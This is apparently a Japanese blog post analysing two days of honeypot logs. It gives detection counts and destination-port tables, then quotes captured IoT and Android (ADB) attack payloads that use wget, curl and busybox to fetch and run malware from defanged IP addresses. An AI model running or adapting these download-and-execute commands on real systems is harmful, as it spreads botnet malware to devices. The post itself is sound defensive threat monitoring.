ハニーポット分析(9,10日目:8/16,8/17)
今回は、2日分をまとめて分析しています。1週間分のログも溜まってたので、休み中に頑張って、週次レポート的なものは作りたいと思います。
Honeytrap分析
8月16日(木)
検知数:7044件(ペイロード有:2905件)
<宛先ポート別 TOP10>
宛先ポート | サービス | 検知数 | 割合 | 攻撃概要 |
445 | SMB | 1,535 | 52.84% | 調査行為 |
3389 | RDP | 155 | 5.34% | 調査行為 |
81 | HTTP | 136 | 4.68% | 調査行為 |
52869 | D-Link, Realtek SDK | 49 | 1.69% | マルウェアダウンロード |
1433 | Microsoft SQL Server | 48 | 1.65% | 調査行為 |
8088 | Asterisk (PBX) Web Configuration utility | 47 | 1.62% | /conf へのアクセス |
8080 | PROXY | 46 | 1.58% | 調査行為 |
5555 | Android Debug Bridge (ADB) | 42 | 1.45% | マルウェアダウンロード |
465 | SMTPS | 34 | 1.17% | 調査行為 |
5901 | VNC | 33 | 1.14% |
調査行為 |
8月17日(金)
検知数:5697件(ペイロード有:2895 件)
<宛先ポート別 TOP10>
宛先ポート | サービス | 検知数 | 割合 | 攻撃概要 |
445 | SMB | 1,496 | 51.68% | 調査行為 |
3389 | RDP | 72 | 2.49% | 調査行為 |
2222 | SSH | 63 | 2.18% | 調査行為 |
1962 | ? | 63 | 2.18% | 調査行為 |
1433 | Microsoft SQL Server | 55 | 1.90% | 調査行為 |
8088 | Asterisk (PBX) Web Configuration utility | 44 | 1.52% | /conf へのアクセス |
8080 | PROXY | 36 | 1.24% | 調査行為 |
52869 | D-Link, Realtek SDK | 35 | 1.21% | マルウェアダウンロード |
175 | VMNET | 33 | 1.14% | 調査行為 |
5357 | Web Services on Devices | 33 | 1.14% | 調査行為 |
<マルウェアダウンロード>
いずれもIoTを狙ったものと思われます。
ポート:52869
ペイロード:
POST /picsdesc.xml
・cd /tmp/;wget hxxp://107[.]191[.]99[.]41/elf[.]mips -O elf
・cd /var/; wget hxxp://80[.]211[.]67[.]245/mips -O am; chmod +x am; [.]/am mips
・cd /tmp/;wget hxxp://159[.]65[.]232[.]56/xd[.]mips
・cd /tmp/;wget hxxp://167[.]99[.]196[.]170/xd[.]mips
ポート:5555
ペイロード:
・sshell:cd /data/local/tmp;wget hxxp://207[.]148[.]78[.]152/br -O- >br;sh br;busybox wget hxxp://207[.]148[.]78[.]152/r -O- >r;sh r;curl hxxp://207[.]148[.]78[.]152/c >c;sh c;busybox curl hxxp://207[.]148[.]78[.]152/bc >bc;sh bc;rm -rf bc br r c;
・shell:>/sdcard/Download/f && cd /sdcard/Download/; >/dev/f && cd /dev/; >/data/local/tmp/f && cd /data/local/tmp/; busybox wget hxxp://185[.]162[.]130[.]187/adbs -O -> adbs; sh adbs; curl hxxp://185[.]162[.]130[.]187/adbs2 > adbs2; sh adbs2; rm adbs adbs2
日次の分析では、マルウェアの分析と急増したポートに関しての考察をしていこうかなと思っています。結構細かく見ようとすると大変なので。。。。。
以上、ハニーポットの分析でした。